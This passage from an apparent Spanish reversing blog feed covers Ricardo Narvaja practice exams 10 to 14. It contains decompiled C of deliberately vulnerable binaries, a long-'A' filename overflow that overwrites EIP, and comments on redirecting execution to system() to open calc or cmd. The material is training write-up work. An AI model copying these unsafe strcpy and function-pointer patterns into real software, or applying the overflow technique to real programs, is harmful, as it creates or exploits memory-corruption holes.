</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> ( dword_403020 <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0x89765432</span> );
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div>
-
Ricardo Narvaja: Exámen 14 (Servidor, helixprodctrl.dll)
https://imlauera.github.io/post/ricardo_narvaja_14/
Tue, 27 Aug 2024 14:54:34 -0300
https://imlauera.github.io/post/ricardo_narvaja_14/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">main</span>(<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>argv, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>envp)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v3; <span style="color:#75715e">// al
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v5; <span style="color:#75715e">// al
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v6; <span style="color:#75715e">// al
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v7; <span style="color:#75715e">// al
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">size_t</span> v8; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v9[<span style="color:#ae81ff">400</span>]; <span style="color:#75715e">// [esp+0h] [ebp-28Ch] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v10[<span style="color:#ae81ff">200</span>]; <span style="color:#75715e">// [esp+190h] [ebp-FCh] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v11[<span style="color:#ae81ff">16</span>]; <span style="color:#75715e">// [esp+258h] [ebp-34h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">__int16</span> v12[<span style="color:#ae81ff">2</span>]; <span style="color:#75715e">// [esp+268h] [ebp-24h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v13; <span style="color:#75715e">// [esp+26Ch] [ebp-20h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v14; <span style="color:#75715e">// [esp+278h] [ebp-14h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v15[<span style="color:#ae81ff">2</span>]; <span style="color:#75715e">// [esp+27Ch] [ebp-10h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v16; <span style="color:#75715e">// [esp+284h] [ebp-8h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v17; <span style="color:#75715e">// [esp+288h] [ebp-4h]
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">LoadLibraryA</span>(<span style="color:#e6db74">"helixprodctrl.dll"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">Initialising Winsock..."</span>, v9[<span style="color:#ae81ff">0</span>]);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#a6e22e">WS2_32_115</span>(<span style="color:#ae81ff">514</span>, v9) )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v3 <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_111</span>();
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Failed. Error Code : %d"</span>, v3);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Initialised.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, v9[<span style="color:#ae81ff">0</span>]);
</span></span><span style="display:flex;"><span> v17 <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_23</span>(<span style="color:#ae81ff">2</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v17 <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v5 <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_111</span>();
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Could not create socket : %d"</span>, v5);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Socket created.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, v9[<span style="color:#ae81ff">0</span>]);
</span></span><span style="display:flex;"><span> v12[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">=</span> <span style="color:#ae81ff">2</span>;
</span></span><span style="display:flex;"><span> v13 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> v12[<span style="color:#ae81ff">1</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_9</span>(<span style="color:#ae81ff">8888</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#a6e22e">WS2_32_2</span>(v17, v12, <span style="color:#ae81ff">16</span>) <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v6 <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_111</span>();
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Bind failed with error code : %d"</span>, v6);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">puts</span>(<span style="color:#e6db74">"Bind done"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WS2_32_13</span>(v17, <span style="color:#ae81ff">3</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">puts</span>(<span style="color:#e6db74">"Waiting for incoming connections...port 8888"</span>);
</span></span><span style="display:flex;"><span> v15[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">=</span> <span style="color:#ae81ff">16</span>;
</span></span><span style="display:flex;"><span> v16 <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_1</span>(v17, v11, v15);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v16 <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v7 <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_111</span>();
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"accept failed with error code : %d"</span>, v7);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">puts</span>(<span style="color:#e6db74">"Connection accepted"</span>);
</span></span><span style="display:flex;"><span> v15[<span style="color:#ae81ff">1</span>] <span style="color:#f92672">=</span> (<span style="color:#66d9ef">int</span>)<span style="color:#e6db74">"Hello Client , I have received your connection.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>;
</span></span><span style="display:flex;"><span> v8 <span style="color:#f92672">=</span> <span style="color:#a6e22e">strlen</span>(<span style="color:#e6db74">"Hello Client , I have received your connection.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WS2_32_19</span>(v16, <span style="color:#e6db74">"Hello Client , I have received your connection.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, v8, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> v14 <span style="color:#f92672">=</span> dword_403028;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WS2_32_16</span>(v16, v10, <span style="color:#ae81ff">500</span>, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WS2_32_3</span>(v17);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WS2_32_116</span>();
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div>
-
Ricardo Narvaja: Exámen 13 (Ejecutar calculadora)
https://imlauera.github.io/post/ricardo_narvaja_13/
Tue, 27 Aug 2024 14:54:32 -0300
https://imlauera.github.io/post/ricardo_narvaja_13/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>_DWORD <span style="color:#f92672">*</span>__thiscall <span style="color:#a6e22e">this_50</span>(_DWORD <span style="color:#f92672">*</span>this)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> this[<span style="color:#ae81ff">50</span>] <span style="color:#f92672">=</span> <span style="color:#e6db74">"A ejecutar la calculadora de nuevo...</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> this;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">sub_401040</span>(<span style="color:#66d9ef">int</span> a1, <span style="color:#66d9ef">int</span> a2, <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>FileName)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> FILE <span style="color:#f92672">*</span>Stream; <span style="color:#75715e">// [esp+0h] [ebp-4h]
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> Stream <span style="color:#f92672">=</span> <span style="color:#a6e22e">fopen</span>(FileName, <span style="color:#e6db74">"rb"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">fread</span>(FileName <span style="color:#f92672">+</span> <span style="color:#ae81ff">204</span>, <span style="color:#ae81ff">300u</span>, <span style="color:#ae81ff">1u</span>, Stream);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Salida %s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, a2);
</span></span><span style="display:flex;"><span> dword_403020 <span style="color:#f92672">=</span> dword_403024 <span style="color:#f92672">+</span> <span style="color:#f92672">*</span>(FileName <span style="color:#f92672">+</span> <span style="color:#ae81ff">102</span>);
</span></span><span style="display:flex;"><span> (dword_403020)(a2);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">main</span>(<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>argv, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>envp)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> Buffer[<span style="color:#ae81ff">200</span>]; <span style="color:#75715e">// [esp+0h] [ebp-268h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> Destination[<span style="color:#ae81ff">404</span>]; <span style="color:#75715e">// [esp+C8h] [ebp-1A0h] BYREF
</span></span></span><span style="display:flex;"><span> FILE <span style="color:#f92672">*</span>Stream; <span style="color:#75715e">// [esp+25Ch] [ebp-Ch]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> (<span style="color:#66d9ef">__cdecl</span> <span style="color:#f92672">*</span>v7)(<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>, <span style="color:#66d9ef">char</span>); <span style="color:#75715e">// [esp+260h] [ebp-8h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v8[<span style="color:#ae81ff">4</span>]; <span style="color:#75715e">// [esp+264h] [ebp-4h]
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( argc <span style="color:#f92672"><</span> <span style="color:#ae81ff">2</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"bye: </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, Buffer[<span style="color:#ae81ff">0</span>]);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">this_50</span>(Destination);
</span></span><span style="display:flex;"><span> v7 <span style="color:#f92672">=</span> (<span style="color:#f92672">&</span>system <span style="color:#f92672">+</span> <span style="color:#ae81ff">110</span>);
</span></span><span style="display:flex;"><span> dword_403024 <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>system <span style="color:#f92672">+</span> <span style="color:#ae81ff">110</span>;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">memset</span>(Destination, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0xC8u</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">memset</span>(<span style="color:#f92672">&</span>Destination[<span style="color:#ae81ff">204</span>], <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0xC8u</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">memset</span>(Buffer, <span style="color:#ae81ff">0</span>, <span style="color:#66d9ef">sizeof</span>(Buffer));
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">strcpy</span>(Destination, argv[<span style="color:#ae81ff">1</span>]);
</span></span><span style="display:flex;"><span> Stream <span style="color:#f92672">=</span> <span style="color:#a6e22e">fopen</span>(Destination, <span style="color:#e6db74">"r"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span>Stream )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"No se puede leer el archivo bye bye </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, Buffer[<span style="color:#ae81ff">0</span>]);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, Destination[<span style="color:#ae81ff">200</span>]);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">fread</span>(Buffer, <span style="color:#ae81ff">200u</span>, <span style="color:#ae81ff">1u</span>, Stream);
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>v8 <span style="color:#f92672">=</span> <span style="color:#a6e22e">strlen</span>(Buffer);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Largo =%d</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, v8[<span style="color:#ae81ff">0</span>]);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">fclose</span>(Stream);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">*</span>v8 <span style="color:#f92672">!=</span> <span style="color:#ae81ff">4</span> )
</span></span><span style="display:flex;"><span> v7 <span style="color:#f92672">=</span> printf;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_401040</span>(<span style="color:#f92672">*</span>v8, Buffer, Destination);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div>
-
Ricardo narvaja: Exámen 12 (Ejecutar calculadora)
https://imlauera.github.io/post/ricardo_narvaja_12/
Tue, 27 Aug 2024 14:54:22 -0300
https://imlauera.github.io/post/ricardo_narvaja_12/
<p>Este tiene bufferoverflow en el nombre del archivo. Tenés que crear un archivo con un nombre muy largo y desborda y pisa el EIP.
Ejemplo:</p>
<pre tabindex="0"><code>└─$ wine ConsoleApplication11.exe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAA
wine: Unhandled page fault on read access to 41414141 at address 7B3630C6 (thread 00
24), starting debugger...
Unhandled exception: page fault on read access to 0x41414141 in wow64 32-bit code (0
x7b3630c6).
0114:err:dbghelp_msc:pe_load_debug_directory Got a page fault while loading symbols
winedbg: Internal crash at 7AC68CF4
</code></pre><p>Lo que me decompila el IDA:</p>
-
Reversing: Exámen 11 (Ricardo Narvaja)
https://imlauera.github.io/post/ricardo_narvaja_11/
Tue, 27 Aug 2024 01:56:28 -0300
https://imlauera.github.io/post/ricardo_narvaja_11/
<p>Los retos los hice usando vim con la siguiente configuracion:</p>
<pre tabindex="0"><code>" vim -b : edit binary using xxd-format!
augroup Binary
au!
au BufReadPre *.bin let &bin=1
au BufReadPost *.bin if &bin | %!xxd
au BufReadPost *.bin set ft=xxd | endif
au BufWritePre *.bin if &bin | %!xxd -r
au BufWritePre *.bin endif
au BufWritePost *.bin if &bin | %!xxd
au BufWritePost *.bin set nomod | endif
augroup END
autocmd BufWritePost *.bin term ++close ++hidden cp % %:r.txt
</code></pre><h3 id="la-segunda-vez-me-generó-un-código-muchísimo-más-entendible">La segunda vez me generó un código muchísimo más entendible</h3>
<p>Porque renombre el tipo de variable que tomaba check en vez de <code>int</code> lo puse como <code>char **</code></p>
-
Ricardo Narvaja: Examen 10 (Ejecutar calculadora no es un bufferoverflow)
https://imlauera.github.io/post/buffer_overflow_10/
Mon, 26 Aug 2024 15:52:16 -0300
https://imlauera.github.io/post/buffer_overflow_10/
<p>No me funcionaba con wine en linux porque verifica si argc == 2 y si ejecutás <code>wine EXAMEN_10.exe 49</code> el argc vale 3, así que tuve que ejecutar el exploit en windows. En linux en vez de usar calc uso cmd porque calc no está disponible a nivel global.</p>
<p>El código que me generó el ida con algunas modificaciones</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>_DWORD <span style="color:#f92672">*</span>__thiscall <span style="color:#a6e22e">this_106</span>(_DWORD <span style="color:#f92672">*</span>this)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> this[<span style="color:#ae81ff">106</span>] <span style="color:#f92672">=</span> <span style="color:#e6db74">"A ejecutar la calculadora de nuevo...</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> this;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">check2</span>(<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>Destination)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">strcat</span>(Destination, <span style="color:#f92672">*</span>(Destination <span style="color:#f92672">+</span> <span style="color:#ae81ff">106</span>));
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Tenemos que hacer que la longitud de Destination valga 56 ya tenemos 38 bytes de la cadena "A ejecutar la calculadora de nuevo...\n" y ahora tenemos que hacer que Destination tenga 18. 18+38=56.
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// Para lograr eso tenemos que agregar un 0 en la posición 18 porque strcpy copia hasta donde hay un 0.
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Voy a ejecutar cmd porque wine no tiene calc.exe
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#a6e22e">strlen</span>(Destination) <span style="color:#f92672">==</span> <span style="color:#ae81ff">56</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( Destination[<span style="color:#ae81ff">4</span>] <span style="color:#f92672">==</span> <span style="color:#e6db74">'I'</span> )
</span></span><span style="display:flex;"><span> (<span style="color:#f92672">*</span>(Destination <span style="color:#f92672">+</span> <span style="color:#ae81ff">52</span>))(Destination <span style="color:#f92672">+</span> <span style="color:#ae81ff">254</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( Destination[<span style="color:#ae81ff">4</span>] <span style="color:#f92672">==</span> <span style="color:#e6db74">'P'</span> )
</span></span><span style="display:flex;"><span> (<span style="color:#f92672">*</span>(Destination <span style="color:#f92672">+</span> <span style="color:#ae81ff">53</span>))(Destination <span style="color:#f92672">+</span> <span style="color:#ae81ff">254</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( Destination[<span style="color:#ae81ff">4</span>] <span style="color:#f92672">==</span> <span style="color:#e6db74">'Q'</span> )
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Este queremos que se ejecute porque en Destination[54] está el puntero a system y Destination[254] es igual a Buffer[30]
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Esto es lo mismo que system(Buffer[30])
</span></span></span><span style="display:flex;"><span> (<span style="color:#f92672">*</span>(Destination <span style="color:#f92672">+</span> <span style="color:#ae81ff">54</span>))(Destination <span style="color:#f92672">+</span> <span style="color:#ae81ff">254</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( Destination[<span style="color:#ae81ff">4</span>] <span style="color:#f92672">==</span> <span style="color:#e6db74">'R'</span> )
</span></span><span style="display:flex;"><span> (<span style="color:#f92672">*</span>(Destination <span style="color:#f92672">+</span> <span style="color:#ae81ff">55</span>))(Destination <span style="color:#f92672">+</span> <span style="color:#ae81ff">254</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">check</span>(<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>Destination, <span style="color:#66d9ef">int</span> a2)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Acá le resta '1' al puntero a system, vamos a ver que significa 1 en hexa.
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// 1 en hexadecimal = 31
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// Entonces tenemos que hacer que v12 valga 49, no sé bien por qué
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// system+49-'1' = system
</span></span></span><span style="display:flex;"><span> Destination[<span style="color:#ae81ff">54</span>] <span style="color:#f92672">=</span> a2 <span style="color:#f92672">-</span> <span style="color:#e6db74">'1'</span>;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">check2</span>(Destination);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">main</span>(<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>argv, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>envp)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> Destination[<span style="color:#ae81ff">204</span>]; <span style="color:#75715e">// [esp+0h] [ebp-1B4h] BYREF
</span></span></span><span style="display:flex;"><span> FILE <span style="color:#f92672">*</span>Stream; <span style="color:#75715e">// [esp+CCh] [ebp-E8h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> (<span style="color:#f92672">*</span>imprimir)(<span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span><span style="color:#66d9ef">const</span>, ...); <span style="color:#75715e">// [esp+D0h] [ebp-E4h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> (<span style="color:#f92672">*</span>v7)(<span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span><span style="color:#66d9ef">const</span>, ...); <span style="color:#75715e">// [esp+D4h] [ebp-E0h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> (<span style="color:#f92672">*</span>v8)(<span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span><span style="color:#66d9ef">const</span>, ...); <span style="color:#75715e">// [esp+D8h] [ebp-DCh]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> (<span style="color:#f92672">*</span>v9)(<span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span><span style="color:#66d9ef">const</span>, ...); <span style="color:#75715e">// [esp+DCh] [ebp-D8h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> Buffer[<span style="color:#ae81ff">200</span>]; <span style="color:#75715e">// [esp+E0h] [ebp-D4h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>v11; <span style="color:#75715e">// [esp+1A8h] [ebp-Ch]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v12; <span style="color:#75715e">// [esp+1ACh] [ebp-8h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v13; <span style="color:#75715e">// [esp+1B0h] [ebp-4h]
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">this_106</span>(Destination);
</span></span><span style="display:flex;"><span> imprimir <span style="color:#f92672">=</span> printf;
</span></span><span style="display:flex;"><span> v7 <span style="color:#f92672">=</span> printf;
</span></span><span style="display:flex;"><span> v8 <span style="color:#f92672">=</span> printf;
</span></span><span style="display:flex;"><span> v9 <span style="color:#f92672">=</span> printf;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(v11);
</span></span><span style="display:flex;"><span> v13 <span style="color:#f92672">=</span> printf;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">memset</span>(Buffer, <span style="color:#ae81ff">0</span>, <span style="color:#66d9ef">sizeof</span>(Buffer));
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">memset</span>(Destination, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">200u</span>);
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Carga el contenido del archivo en Stream
</span></span></span><span style="display:flex;"><span> Stream <span style="color:#f92672">=</span> <span style="color:#a6e22e">fopen</span>(<span style="color:#e6db74">"example.txt"</span>, <span style="color:#e6db74">"rb"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span>Stream )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">imprimir</span>(<span style="color:#e6db74">"No se puede leer el archivo bye bye </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// De stream copia 200 bytes a Buffer
</span></span></span><span style="display:flex;"><span> <span style="color:#a6e22e">fread</span>(Buffer, <span style="color:#ae81ff">200u</span>, <span style="color:#ae81ff">1u</span>, Stream);
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// De buffer lo copia a Destination
</span></span></span><span style="display:flex;"><span> <span style="color:#a6e22e">strcpy</span>(Destination, Buffer);
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Si hay un argumentos
